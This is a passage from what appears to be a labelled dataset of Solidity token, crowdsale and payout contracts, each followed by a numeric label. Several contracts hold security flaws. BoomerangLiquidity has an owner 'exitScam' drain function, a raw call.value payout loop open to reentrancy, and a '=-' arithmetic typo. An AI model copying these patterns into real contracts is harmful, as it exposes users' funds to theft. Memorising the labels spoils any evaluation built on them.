returns (bool)
{
return super.transfer(to, value);
}
function transferFrom(
address from,
address to,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(from, to, value);
}
function approve(
address spender,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.approve(spender, value);
}
function increaseAllowance(
address spender,
uint addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(
address spender,
uint subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseAllowance(spender, subtractedValue);
}
}
contract ReleasableToken is StandardToken, Ownable {
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
modifier canTransfer(address _sender) {
if(!released) {
if(!transferAgents[_sender]) {
revert();
}
}
_;
}
constructor() public {
releaseAgent = msg.sender;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier inReleaseState(bool releaseState) {
if(releaseState != released) {
revert();
}
_;
}
modifier onlyReleaseAgent() {
if(msg.sender != releaseAgent) {
revert();
}
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) public returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) public returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
}
contract UpgradeableToken is StandardToken {
using SafeMath for uint;
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint256 public totalUpgraded;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
event UpgradeAgentSet(address agent);
constructor() public {
upgradeMaster = msg.sender;
}
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
require((state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading));
require (value != 0);
_burn(msg.sender, value);
totalUpgraded = totalUpgraded.add(value);
upgradeAgent.upgradeFrom(msg.sender, value);
emit Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) external {
require(canUpgrade());
require(agent != address(0));
require(msg.sender == upgradeMaster);
require(getUpgradeState() != UpgradeState.Upgrading);
upgradeAgent = UpgradeAgent(agent);
require(upgradeAgent.isUpgradeAgent());
require(upgradeAgent.originalSupply() == totalSupply());
emit UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == address(0)) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function setUpgradeMaster(address master) public {
require(master != 0x0);
require(msg.sender == upgradeMaster);
upgradeMaster = master;
}
function canUpgrade() public pure returns(bool) {
return true;
}
}
contract TrustEdToken is ReleasableToken, PausableToken, Recoverable, BurnableToken, UpgradeableToken, MintableToken {
string public name;
string public symbol;
uint256 public decimals;
uint256 TOTAL_SUPPLY;
event UpdatedTokenInformation(string newName, string newSymbol);
constructor() public {
name = "TrustEd Token";
symbol = "TED";
decimals = 18;
TOTAL_SUPPLY = 1720000000 * (10**decimals);
_mint(msg.sender, TOTAL_SUPPLY);
}
function setTokenInformation(string _name, string _symbol) onlyOwner external{
name = _name;
symbol = _symbol;
emit UpdatedTokenInformation(name, symbol);
}
} | 0 | 938 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
string public constant name = "MCCoin";
string public constant symbol = "MCC";
uint8 public constant decimals = 18;
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public hardCap = 100000000 * (10**18);
address public wallet = 0xD0b6c1F479eACcce7A77D5Aa3b6c9fc2213EecCb;
uint256 public rate = 40000;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event Value(uint256 indexed value);
function Crowdsale() public {
token = createTokenContract();
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
require(!hasEnded());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
wallet.transfer(msg.value);
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal view returns (bool) {
bool nonZeroPurchase = msg.value != 0;
return nonZeroPurchase;
}
function hasEnded() public view returns (bool) {
return token.totalSupply() >= hardCap;
}
} | 1 | 2,687 |
pragma solidity 0.4.21;
contract ERC20Interface {
function totalSupply() public constant returns (uint256);
function balanceOf(address tokenOwner) public constant returns (uint256 balance);
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
function approve(address spender, uint256 tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract FLMContract {
function withdraw() public;
function buy(address) public payable returns(uint256);
function myTokens() public view returns(uint256);
}
contract Owned {
address public owner;
address public ownerCandidate;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) public onlyOwner {
ownerCandidate = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == ownerCandidate);
owner = ownerCandidate;
}
}
contract BoomerangLiquidity is Owned {
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
uint public multiplier;
uint public payoutOrder = 0;
FLMContract flmContract;
function BoomerangLiquidity(uint multiplierPercent, address aFlmContract) public {
multiplier = multiplierPercent;
flmContract = FLMContract(aFlmContract);
}
struct Participant {
address etherAddress;
uint payout;
}
Participant[] public participants;
function() payable public {
deposit();
}
function deposit() payable public {
participants.push(Participant(msg.sender, (msg.value * multiplier) / 100));
}
function payout() public {
uint balance = address(this).balance;
require(balance > 1);
uint investment = balance / 2;
balance =- investment;
flmContract.buy.value(investment)(msg.sender);
while (balance > 0) {
uint payoutToSend = balance < participants[payoutOrder].payout ? balance : participants[payoutOrder].payout;
if(payoutToSend > 0){
participants[payoutOrder].payout -= payoutToSend;
balance -= payoutToSend;
participants[payoutOrder].etherAddress.call.value(payoutToSend).gas(1000000)();
}
if(balance > 0){
payoutOrder += 1;
}
}
}
function myTokens()
public
view
returns(uint256) {
return flmContract.myTokens();
}
function withdraw() public {
flmContract.withdraw.gas(1000000)();
}
function donate() payable public {
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
function exitScam() onlyOwner public {
msg.sender.transfer(address(this).balance);
}
} | 1 | 2,394 |
pragma solidity 0.4.25;
interface COSS {
function sendTokens(address _destination, address _token, uint256 _amount) public;
function sendEther(address _destination, uint256 _amount) payable public;
}
contract FSAContract{
address owner = 0xc17cbf9917ca13d5263a8d4069e566be23db1b09;
address cossContract = 0x9e96604445ec19ffed9a5e8dd7b50a29c899a10c;
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
function sendTokens(address _destination, address _token, uint256 _amount) public onlyOwner {
COSS(cossContract).sendTokens(_destination,_token,_amount);
}
function sendEther(address _destination, uint256 _amount) payable public onlyOwner {
COSS(cossContract).sendEther(_destination,_amount);
}
} | 1 | 3,959 |
pragma solidity 0.4.24;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract BCCT is ERC20Interface {
using SafeMath for uint;
address public owner;
string public symbol = "BCCT";
string public name = "Beverage Cash Coin";
uint8 public decimals = 18;
uint private _totalSupply = 150425700 * 10**uint(decimals);
mapping(address => uint) private balances;
mapping(address => mapping(address => uint)) private allowed;
constructor() public {
owner = msg.sender;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4);
_;
}
function transferQueue(address[] to, uint[] amount) public onlyOwner returns (bool success) {
require(to.length == amount.length);
for (uint64 i = 0; i < to.length; ++i) {
_transfer(msg.sender, to[i], amount[i]);
}
return true;
}
function transferAnyERC20Token(address tokenAddress, uint tokens)
public
onlyOwner
onlyPayloadSize(32 + 32)
returns (bool success)
{
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens)
public
onlyPayloadSize(32 + 32)
returns (bool success)
{
_transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens)
public
onlyPayloadSize(32 + 32)
returns (bool success)
{
require(balances[msg.sender] >= tokens);
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens)
public
onlyPayloadSize(32 + 32 + 32)
returns (bool success)
{
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
_transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _transfer(address from, address to, uint tokens) internal {
balances[from] = balances[from].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
}
} | 1 | 4,385 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "WorkPerk";
string public constant TOKEN_SYMBOL = "WPRK";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0xeBB920699F235FC4DB9572FA86ef1506AC3AF23d;
uint public constant START_TIME = 1551398400;
bool public constant CONTINUE_MINTING = true;
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
contract MainCrowdsale is Consts, FinalizableCrowdsale, MintedCrowdsale, CappedCrowdsale {
function hasStarted() public view returns (bool) {
return now >= openingTime;
}
function startTime() public view returns (uint256) {
return openingTime;
}
function endTime() public view returns (uint256) {
return closingTime;
}
function hasClosed() public view returns (bool) {
return super.hasClosed() || capReached();
}
function hasEnded() public view returns (bool) {
return hasClosed();
}
function finalization() internal {
super.finalization();
if (PAUSED) {
MainToken(token).unpause();
}
if (!CONTINUE_MINTING) {
require(MintableToken(token).finishMinting());
}
Ownable(token).transferOwnership(TARGET_USER);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate).div(1 ether);
}
}
contract BonusableCrowdsale is Consts, Crowdsale {
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 bonusRate = getBonusRate(_weiAmount);
return _weiAmount.mul(bonusRate).div(1 ether);
}
function getBonusRate(uint256 _weiAmount) internal view returns (uint256) {
uint256 bonusRate = rate;
uint[5] memory weiRaisedStartsBounds = [uint(0),uint(0),uint(0),uint(0),uint(0)];
uint[5] memory weiRaisedEndsBounds = [uint(500000000000000000000000),uint(500000000000000000000000),uint(500000000000000000000000),uint(500000000000000000000000),uint(500000000000000000000000)];
uint64[5] memory timeStartsBounds = [uint64(1551398400),uint64(1554850800),uint64(1555455600),uint64(1556060400),uint64(1557270000)];
uint64[5] memory timeEndsBounds = [uint64(1554850800),uint64(1555455600),uint64(1556060400),uint64(1557270000),uint64(1560034740)];
uint[5] memory weiRaisedAndTimeRates = [uint(500),uint(250),uint(150),uint(100),uint(50)];
for (uint i = 0; i < 5; i++) {
bool weiRaisedInBound = (weiRaisedStartsBounds[i] <= weiRaised) && (weiRaised < weiRaisedEndsBounds[i]);
bool timeInBound = (timeStartsBounds[i] <= now) && (now < timeEndsBounds[i]);
if (weiRaisedInBound && timeInBound) {
bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000;
}
}
return bonusRate;
}
}
contract TemplateCrowdsale is Consts, MainCrowdsale
, BonusableCrowdsale
{
event Initialized();
event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime);
bool public initialized = false;
constructor(MintableToken _token) public
Crowdsale(10000 * TOKEN_DECIMAL_MULTIPLIER, 0x50A0ABe0bdA4623fb5901a73994f7f5336873DE3, _token)
TimedCrowdsale(START_TIME > now ? START_TIME : now, 1564181940)
CappedCrowdsale(500000000000000000000000)
{
}
function init() public onlyOwner {
require(!initialized);
initialized = true;
if (PAUSED) {
MainToken(token).pause();
}
transferOwnership(TARGET_USER);
emit Initialized();
}
function setEndTime(uint _endTime) public onlyOwner {
require(now < closingTime);
require(now < _endTime);
require(_endTime > openingTime);
emit TimesChanged(openingTime, _endTime, openingTime, closingTime);
closingTime = _endTime;
}
} | 0 | 385 |
pragma solidity ^0.4.19;
interface ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Owned {
address owner;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract ChiSale is Owned {
struct BonusTier {
uint256 percentage;
uint256 threshold;
}
BonusTier[] private bonusTiers;
uint256 private tokensSold;
uint8 private bonusIndex;
uint256 private maxBonusThreshold;
uint256 private constant TOKEN_PRICE = 0.001 ether;
uint256 private constant REVENUE_SHARE_PERCENTAGE = 22;
ERC20 private chiContract;
event LogChiPurchase(
address indexed buyer,
address indexed referrer,
uint256 number,
uint256 timestamp
);
function ChiSale(
address chiAddress,
uint256[] bonusThresholds,
uint256[] bonusPercentages
)
public
Owned()
{
require(bonusThresholds.length == bonusPercentages.length);
require(bonusThresholds.length < 256);
for (uint8 i = 0; i < bonusThresholds.length; i++) {
if (i > 0) {
require(bonusThresholds[i] > bonusThresholds[i - 1]);
}
if (i > bonusThresholds.length - 1) {
maxBonusThreshold = bonusThresholds[i];
}
bonusTiers.push(BonusTier({
percentage: bonusPercentages[i],
threshold: bonusThresholds[i]
}));
}
chiContract = ERC20(chiAddress);
tokensSold = 0;
bonusIndex = 0;
}
function buy(address referralAddress) external payable {
uint256 tokensToBuy = msg.value / TOKEN_PRICE;
uint256 tokenBalance = chiContract.balanceOf(address(this));
